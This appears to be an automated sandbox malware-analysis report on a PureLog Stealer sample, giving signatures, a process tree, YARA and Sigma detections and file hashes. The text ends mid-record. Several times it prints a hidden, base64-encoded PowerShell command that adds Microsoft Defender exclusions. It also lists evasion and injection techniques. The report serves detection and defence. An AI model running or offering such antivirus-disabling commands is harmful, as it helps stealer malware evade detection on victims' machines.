Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1458397
MD5:	af4a6267ce7f24818feeb7d2d62e72c2
SHA1:	dd780f62e9539c39244526e26e518663b53fb20e
SHA256:	43261f85db3ab88ed6e6b00b4227c5e8e90ddbcabb491109196a0643aeb3d313
Tags:	exe
Infos:

Detection

PureLog Stealer

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Snort IDS alert for network traffic

Yara detected AntiVM3

Yara detected PureLog Stealer

.NET source code contains method to dynamically call methods (often used by packers)

.NET source code contains potential unpacker

AI detected suspicious sample

Bypasses PowerShell execution policy

Encrypted powershell cmdline option found

Injects a PE file into a foreign processes

Loading BitLocker PowerShell Module

Machine Learning detection for dropped file

Machine Learning detection for sample

Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Suspicious powershell command line found

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Writes to foreign memory regions

Yara detected Costura Assembly Loader

Allocates memory with a write watch (potentially for evading sandboxes)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Contains long sleeps (>= 3 min)

Creates COM task schedule object (often to register a task for autostart)

Creates a process in suspended mode (likely to inject code)

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Drops PE files

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found inlined nop instructions (likely shell or obfuscated code)

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Sigma detected: Change PowerShell Policies to an Insecure Level

Sigma detected: Suspicious Execution of Powershell with Base64

Uses 32bit PE files

Uses code obfuscation techniques (call, push, ret)

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Yara signature match

Classification

Process Tree

System is w10x64

file.exe (PID: 7600 cmdline: "C:\Users\user\Desktop\file.exe" MD5: AF4A6267CE7F24818FEEB7D2D62E72C2)

powershell.exe (PID: 7748 cmdline: powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile -enc QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFUAcwBlAHIAcwBcAGoAbwBuAGUAcwBcAEEAcABwAEQAYQB0AGEAXABMAG8AYwBhAGwALABDADoAXABVAHMAZQByAHMAXABqAG8AbgBlAHMAXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcADsAIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAHIAbwBjAGUAcwBzACAAVAB5AHAAZQBJAGQALgBlAHgAZQA7AA== MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 7756 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

TypeId.exe (PID: 7764 cmdline: C:\Users\user\AppData\Local\RegisteredChannels\hwrtalnmj\TypeId.exe MD5: AF4A6267CE7F24818FEEB7D2D62E72C2)

InstallUtil.exe (PID: 8028 cmdline: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe MD5: 5D4073B2EB6D217C19F2B22F21BF8D57)

powershell.exe (PID: 8124 cmdline: powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile -enc QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFUAcwBlAHIAcwBcAGoAbwBuAGUAcwBcAEEAcABwAEQAYQB0AGEAXABMAG8AYwBhAGwALABDADoAXABVAHMAZQByAHMAXABqAG8AbgBlAHMAXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcADsAIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAHIAbwBjAGUAcwBzACAAVAB5AHAAZQBJAGQALgBlAHgAZQA7AA== MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 8164 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

txxbiwtbs.exe (PID: 3624 cmdline: C:\Users\user\AppData\Local\Temp\txxbiwtbs.exe MD5: E8CE921868FE7C47FD2C236555EE5BFD)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
00000004.00000002.3019858995.0000000004AB7000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
00000000.00000002.1790879005.00000000083C0000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
00000004.00000002.2976520133.000000000309D000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
0000000B.00000002.2160867351.0000000006470000.00000020.00001000.00020000.00000000.sdmp	Windows_Trojan_Donutloader_f40e3759	unknown	unknown	0xb0508:$x64: 06 B8 03 40 00 80 C3 4C 8B 49 10 49 0xb3a3e:$x86: 04 75 EE 89 31 F0 FF 46 04 33 C0 EB
0000000B.00000002.2048354854.0000000003AB1000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
00000000.00000002.1821399208.0000000009650000.00000020.00001000.00020000.00000000.sdmp	Windows_Trojan_Donutloader_f40e3759	unknown	unknown	0xa7708:$x64: 06 B8 03 40 00 80 C3 4C 8B 49 10 49 0xaac3e:$x86: 04 75 EE 89 31 F0 FF 46 04 33 C0 EB
0000000B.00000002.2167920075.0000000007520000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
00000000.00000002.1763526633.00000000033C0000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
00000000.00000002.1808267831.0000000008F40000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
0000000B.00000002.2048354854.0000000003F2D000.00000004.00000800.00020000.00000000.sdmp	Windows_Trojan_Donutloader_f40e3759	unknown	unknown	0x26d6a8:$x64: 06 B8 03 40 00 80 C3 4C 8B 49 10 49 0x270bde:$x86: 04 75 EE 89 31 F0 FF 46 04 33 C0 EB
0000000B.00000002.1995844689.00000000029BF000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
00000004.00000002.3095261684.0000000007491000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
0000000B.00000002.1995844689.0000000002C74000.00000004.00000800.00020000.00000000.sdmp	Windows_Trojan_Donutloader_f40e3759	unknown	unknown	0x8d0:$x64: 06 B8 03 40 00 80 C3 4C 8B 49 10 49 0x3e06:$x86: 04 75 EE 89 31 F0 FF 46 04 33 C0 EB
0000000B.00000002.2219301967.0000000007C40000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
00000004.00000002.2976520133.0000000003200000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
00000000.00000002.1783529566.0000000006B60000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
00000000.00000002.1784663616.0000000006D60000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
00000003.00000002.1869188121.00000000047F2000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
00000004.00000002.3019858995.0000000004A62000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
00000004.00000002.3204622217.0000000009049000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
00000004.00000002.3204622217.0000000009049000.00000004.00000800.00020000.00000000.sdmp	Windows_Trojan_Donutloader_f40e3759	unknown	unknown	0x153598:$x64: 06 B8 03 40 00 80 C3 4C 8B 49 10 49 0x156ace:$x86: 04 75 EE 89 31 F0 FF 46 04 33 C0 EB
00000003.00000002.1869188121.0000000004131000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
00000004.00000002.3019858995.0000000004659000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
00000003.00000002.1869188121.00000000044B0000.00000004.00000800.00020000.00000000.sdmp	Windows_Trojan_Donutloader_f40e3759	unknown	unknown	0x152c38:$x64: 06 B8 03 40 00 80 C3 4C 8B 49 10 49 0x15616e:$x86: 04 75 EE 89 31 F0 FF 46 04 33 C0 EB
00000000.00000002.1818030083.00000000094C0000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
0000000B.00000002.1995844689.000000000289B000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
00000000.00000002.1767868411.000000000478C000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
00000000.00000002.1767868411.000000000459C000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
00000000.00000002.1767868411.000000000459C000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
00000003.00000002.1869188121.0000000004C76000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
00000003.00000002.1869188121.0000000004C76000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
00000000.00000002.1830742150.000000000B070000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
00000000.00000002.1767868411.0000000004378000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
00000000.00000002.1763526633.0000000003526000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
00000004.00000002.3019858995.0000000004058000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
00000000.00000002.1824447213.000000000A088000.00000004.00000800.00020000.00000000.sdmp	Windows_Trojan_Donutloader_f40e3759	unknown	unknown	0xbbc50:$x64: 06 B8 03 40 00 80 C3 4C 8B 49 10 49 0xbf186:$x86: 04 75 EE 89 31 F0 FF 46 04 33 C0 EB
00000000.00000002.1767868411.0000000005266000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
00000003.00000002.1841950156.00000000032A9000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
00000003.00000002.1841950156.00000000032A9000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
00000000.00000002.1790879005.0000000007CB1000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
00000000.00000002.1790879005.0000000007CB1000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
Process Memory Space: file.exe PID: 7600	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
Process Memory Space: file.exe PID: 7600	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: file.exe PID: 7600	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
Process Memory Space: TypeId.exe PID: 7764	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
Process Memory Space: TypeId.exe PID: 7764	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: TypeId.exe PID: 7764	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
Process Memory Space: InstallUtil.exe PID: 8028	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
Process Memory Space: InstallUtil.exe PID: 8028	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: InstallUtil.exe PID: 8028	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
Process Memory Space: txxbiwtbs.exe PID: 3624	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
Process Memory Space: txxbiwtbs.exe PID: 3624	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Click to see the 47 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
0.2.file.exe.459c2e8.6.unpack	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
0.2.file.exe.459c2e8.6.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
3.2.TypeId.exe.4a46068.12.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
3.2.TypeId.exe.4a96088.4.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
0.2.file.exe.440c2a8.9.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
0.2.file.exe.81dfff8.19.raw.unpack	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
0.2.file.exe.b070000.26.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
3.2.TypeId.exe.427ffc0.3.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
0.2.file.exe.8167fb8.22.raw.unpack	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
4.2.InstallUtil.exe.4ae3330.6.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
11.2.txxbiwtbs.exe.4074c50.4.raw.unpack	Windows_Trojan_Donutloader_f40e3759	unknown	unknown	0x125a58:$x64: 06 B8 03 40 00 80 C3 4C 8B 49 10 49 0x128f8e:$x86: 04 75 EE 89 31 F0 FF 46 04 33 C0 EB
3.2.TypeId.exe.4a96088.4.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
11.2.txxbiwtbs.exe.3c19948.2.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
11.2.txxbiwtbs.exe.3c19948.2.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
11.2.txxbiwtbs.exe.4024c30.3.raw.unpack	Windows_Trojan_Donutloader_f40e3759	unknown	unknown	0x175a78:$x64: 06 B8 03 40 00 80 C3 4C 8B 49 10 49 0x178fae:$x86: 04 75 EE 89 31 F0 FF 46 04 33 C0 EB
4.2.InstallUtil.exe.4ae3330.6.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
0.2.file.exe.440c2a8.9.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
4.2.InstallUtil.exe.4a62b70.1.raw.unpack	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
11.2.txxbiwtbs.exe.7520000.5.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
0.2.file.exe.445c2c8.4.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
4.2.InstallUtil.exe.91a2688.15.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
0.2.file.exe.81dfff8.19.unpack	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
3.2.TypeId.exe.4da8708.2.raw.unpack	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
0.2.file.exe.467db08.7.raw.unpack	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
0.2.file.exe.526a0e8.8.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
0.2.file.exe.4e9edb0.1.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
0.2.file.exe.818ffd8.18.unpack	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
4.2.InstallUtil.exe.91a2688.15.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
0.2.file.exe.8f40000.23.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
0.2.file.exe.459c2e8.6.raw.unpack	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
0.2.file.exe.459c2e8.6.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
0.2.file.exe.b070000.26.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
4.2.InstallUtil.exe.4259570.5.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
4.2.InstallUtil.exe.4259570.5.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
11.2.txxbiwtbs.exe.7520000.5.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
0.2.file.exe.8167fb8.22.unpack	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
0.2.file.exe.4e7ed90.5.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
0.2.file.exe.6d60000.13.raw.unpack	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
0.2.file.exe.8f40000.23.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
0.2.file.exe.6b60000.12.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
4.2.InstallUtil.exe.4059550.7.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
0.2.file.exe.94c0000.24.raw.unpack	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
0.2.file.exe.4e9edb0.1.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
0.2.file.exe.526a0e8.8.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
3.2.TypeId.exe.427ffc0.3.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
0.2.file.exe.6b60000.12.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
4.2.InstallUtil.exe.7596838.10.raw.unpack	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
4.2.InstallUtil.exe.4659590.2.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
3.2.TypeId.exe.4c760c8.6.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
0.2.file.exe.818ffd8.18.raw.unpack	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
11.2.txxbiwtbs.exe.7c40000.6.raw.unpack	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
0.2.file.exe.445c2c8.4.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
3.2.TypeId.exe.4a46068.12.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
3.2.TypeId.exe.4c760c8.6.raw.unpack	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
3.2.TypeId.exe.4c760c8.6.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
0.2.file.exe.4e7ed90.5.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
3.2.TypeId.exe.494cee0.8.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
4.2.InstallUtil.exe.4659590.2.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
0.2.file.exe.478c788.3.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
4.2.InstallUtil.exe.4059550.7.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
Click to see the 55 entries

Sigma Signatures

System Summary

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile -enc QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFUAcwBlAHIAcwBcAGoAbwBuAGUAcwBcAEEAcABwAEQAYQB0AGEAXABMAG8AYwBhAGwALABDADoAXABVAHMAZQByAHMAXABqAG8AbgBlAHMAXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcADsAIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAHIAbwBjAGUAcwBzACAAVAB5AHAAZQBJAGQALgBlAHgAZQA7AA==, CommandLine: powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile -enc QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFUAcwBlAHIAcwBcAGoAbwBuAGUAcwBcAEEAcABwAEQAYQB0AGEAXABMAG8AYwBhAGwALABDADoAXABVAHMAZQByAHMAXABqAG8AbgBlAHMAXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcADsAIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAHIAbwBjAGUAcwBzACAAVAB5AHAAZQBJAGQALgBlAHgAZQA7AA==, CommandLine|base64offset|contains: L^rbs'2, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 1044, ProcessCommandLine: powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile -enc QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFUAcwBlAHIAcwBcAGoAbwBuAGUAcwBcAEEAcABwAEQAYQB0AGEAXABMAG8AYwBhAGwALABDADoAXABVAHMAZQByAHMAXABqAG8AbgBlAHMAXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcADsAIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAHIAbwBjAGUAcwBzACAAVAB5AHAAZQBJAGQALgBlAHgAZQA7AA==, ProcessId: 7748, ProcessName: powershell.exe

Sigma detected: Change PowerShell Policies to an Insecure Level

Source: Process started

Author: frack113: Data: Command: powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile -enc QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFUAcwBlAHIAcwBcAGoAbwBuAGUAcwBcAEEAcABwAEQAYQB0AGEAXABMAG8AYwBhAGwALABDADoAXABVAHMAZQByAHMAXABqAG8AbgBlAHMAXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcADsAIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAHIAbwBjAGUAcwBzACAAVAB5AHAAZQBJAGQALgBlAHgAZQA7AA==, CommandLine: powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile -enc QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFUAcwBlAHIAcwBcAGoAbwBuAGUAcwBcAEEAcABwAEQAYQB0AGEAXABMAG8AYwBhAGwALABDADoAXABVAHMAZQByAHMAXABqAG8AbgBlAHMAXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcADsAIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAHIAbwBjAGUAcwBzACAAVAB5AHAAZQBJAGQALgBlAHgAZQA7AA==, CommandLine|base64offset|contains: L^rbs'2, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 1044, ProcessCommandLine: powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile -enc QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFUAcwBlAHIAcwBcAGoAbwBuAGUAcwBcAEEAcABwAEQAYQB0AGEAXABMAG8AYwBhAGwALABDADoAXABVAHMAZQByAHMAXABqAG8AbgBlAHMAXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcADsAIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAHIAbwBjAGUAcwBzACAAVAB5AHAAZQBJAGQALgBlAHgAZQA7AA==, ProcessId: 7748, ProcessName: powershell.exe

Sigma detected: Suspicious Execution of Powershell with Base64

Source: Process started

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile -enc QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFUAcwBlAHIAcwBcAGoAbwBuAGUAcwBcAEEAcABwAEQAYQB0AGEAXABMAG8AYwBhAGwALABDADoAXABVAHMAZQByAHMAXABqAG8AbgBlAHMAXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcADsAIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAHIAbwBjAGUAcwBzACAAVAB5AHAAZQBJAGQALgBlAHgAZQA7AA==, CommandLine: powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile -enc QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFUAcwBlAHIAcwBcAGoAbwBuAGUAcwBcAEEAcABwAEQAYQB0AGEAXABMAG8AYwBhAGwALABDADoAXABVAHMAZQByAHMAXABqAG8AbgBlAHMAXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcADsAIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAHIAbwBjAGUAcwBzACAAVAB5AHAAZQBJAGQALgBlAHgAZQA7AA==, CommandLine|base64offset|contains: L^rbs'2, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 1044, ProcessCommandLine: 